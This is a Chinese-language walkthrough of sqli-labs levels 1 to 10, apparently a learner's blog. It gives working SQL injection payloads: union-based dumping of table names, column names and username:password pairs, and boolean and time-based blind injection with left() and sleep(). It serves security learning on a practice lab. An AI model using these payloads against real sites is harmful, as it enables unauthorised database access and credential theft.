我们需要了解一下sql的基础基础语句
单行注释:--
多行注释:/*…*/
连接多个字符串:+
合并两个或多个 SELECT 语句的结果集:union
less-1
首先我们来到这个界面,并修改id
成功查看,由于我们是需要错误回显的,所以我们可以先判断是字符型还是数字型
在id=1后面加上一个单引号再试一下
报错了,所以我们可以判断应该是字符型,也就是我们输入的信息被放在一对单引号之间
通过查询,我们可以得知显示位为第二,第三位
我们通过这个报错来爆出库名,输入以下payload
?id=-1' union select 1,2,database() --+
这里单引号的作用是闭合
可以看到,成功爆出security库名
这里再对sql的一些内容进行补充:
在数据库中,schema(发音 “skee-muh” 或者“skee-mah”,中文叫模式)是数据库的组织和结构,schemas 和schemata都可以作为复数形式。模式中包含了schema对象,可以是表(table)、列(column)、数据类型(data type)、视图(view)、存储过程(stored procedures)、关系(relationships)、主键(primary key)、外键(foreign key)等。数据库模式可以用一个可视化的图来表示,它显示了数据库对象及其相互之间的关系
获取所有表结构的语句:
SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA='数据库名'
Table_schema | 数据表所属的数据库名 |
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成
所以在报错回显时就会将表中信息爆破出来
我们接下来就用这个语句对该库的各个信息进行爆破
输入如下payload
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
可以看到我们爆出来的信息为:emails,referers,uagents,users
经过分析,可以得知users应该是我们需要的用户表名
column_name:列名
之后我们就可以开始爆破列名了,使用如下payload
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
列名出来之后,后面的所有信息就都可以通过报错回显来获得了
如下payload会将所有username和password爆破出来
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+
这里我们用0x3a,也就是冒号将用户名和密码分开了,方便查看
less-2
第二题与第一题唯一差别为,第二题是数字型注入,所以将单引号去掉即可,后面的报错语句相同
less-3
做法不变,与less-1的区别是多了一个括号,在闭合时在后面多加一个),其余不变
less-4
做法不变,与less-1区别是将单引号改为双引号,其余不变
less-5
通过查询id为1的信息,我们知道此关没有返回任何信息,所以就不能使用报错回显了,只能使用盲注,盲注的其中一种为时间延迟型手工注入
基本思路为判断库名长度,判断库名,判断表名长度,判断表名,判断列名长度,判断列名,由于过程过长,所以我们只选取其中一个步骤进行演示
我们这里先了解以下sql中left函数的用法
LEFT(string_expression, count)
string_expression 表示字符串,这个参数可以是数据库表的列名,字符串,也可以是某一函数的返回结果
count 是整数, 表示从字符串开始位置到结束,返回的字符数量
我们这里先选取判断库名来演示
首先我们已经判断出库名长度为8
先输入如下payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
可以发现,回显明显有延迟,改为
?id=1' and if(left(database(),2)='se',sleep(5),1)--+
还是明显延迟,直到盲注到最后一个也就是
?id=1' and if(left(database(),8)='security',sleep(5),1)--+
这样一来我们就盲注出了库名为security
之后就可以开始爆表名了,在第四个表成功找到user,并爆破出表名为users
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+
之后的过程也是通过盲注,直到获取到自己想要的信息即可
当然,此关也可以使用布尔注入
由于前面已经演示过盲注库名的方法,所以我们这里演示以下盲注列名
输入如下payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+
可以看到,是有回显的,所以第三个字节为password,同样我们可以试出,第二个字节为username
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),9)='username' --+
由于我们提前直到每列的名字以及位置,所以可以直接演示出来,但如果没有这些信息,就需要从第一个字母开始一个一个去尝试,直到试出正确的结果,回显到页面
知道表名和列名后就可以对密码和账号进行盲注了
?id=1' and left((select password from users where id=1),1)='d' --+
id为1的第一位密码为d,接下来的就不一一演示了
less-6
经过测试,当输入的为单引号时会报错,所以使用双引号进行闭合,之后再盲注即可
less-7
此关也可以使用盲注,但是经过测试,闭合方式为单引号加两个括号即')),此后过程与前面的盲注一致,下面附上一个爆破表名的payload
?id=1')) and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+
经过查询博客,此题也可以使用文件导入的方式,但这里的博客我没看懂,就先将此题写到这里
less-8
根据题目已经得知这题的做法:布尔型单引号GET盲注
所以我们先检测一下如何闭合,先输入?id=1' and 1=1看一下是否回显
可以看到,成功回显,之后便是盲注了
与前文相同输入如下payload时回显
?id=1' and left(database(),8)='security'--+
这样一来我们已经确定了数据库名,之后就是寻找有关用户信息的表名
直到我们输入到如下payload
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users'--+
成功回显,成功盲注出与用户信息有关的表名
接下来就是盲注列名,还是输入到如下payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+
再次盲注出列名,同样的方法可以盲注出password
之后就是盲注出列名中的数据,直到输入如下payload
?id=1' and left((select username from users where id=1),4)='dumb'--+
成功回显,之后的password也可用同样的方法盲注出来
less-9
还是可以根据题目得知,此题考察的是时间盲注,与前一题的区别在于,由于没有回显,所以我们只能通过网站响应的时间来判断我们输入的条件是否正确,在upload上的区别为,此题需要使用if(条件,sleep(5),1),此语句的含义为若条件为真,则网页延迟五秒响应,若条件为假,则延迟一秒钟,由于延迟时间无法通过博客演示,我们这里只给出最终结果的payload,不给演示画面了
?id=1' and if (left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),1)--+
?id=1' and if (left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username',sleep(5),1)--+
?id=1' and if(left((select username from users where id=1),4)='dumb',sleep(5),1)--+
less-10
经检验,此题需要通过双引号去闭合,所以只需要将上题payload中的单引号改为双引号即可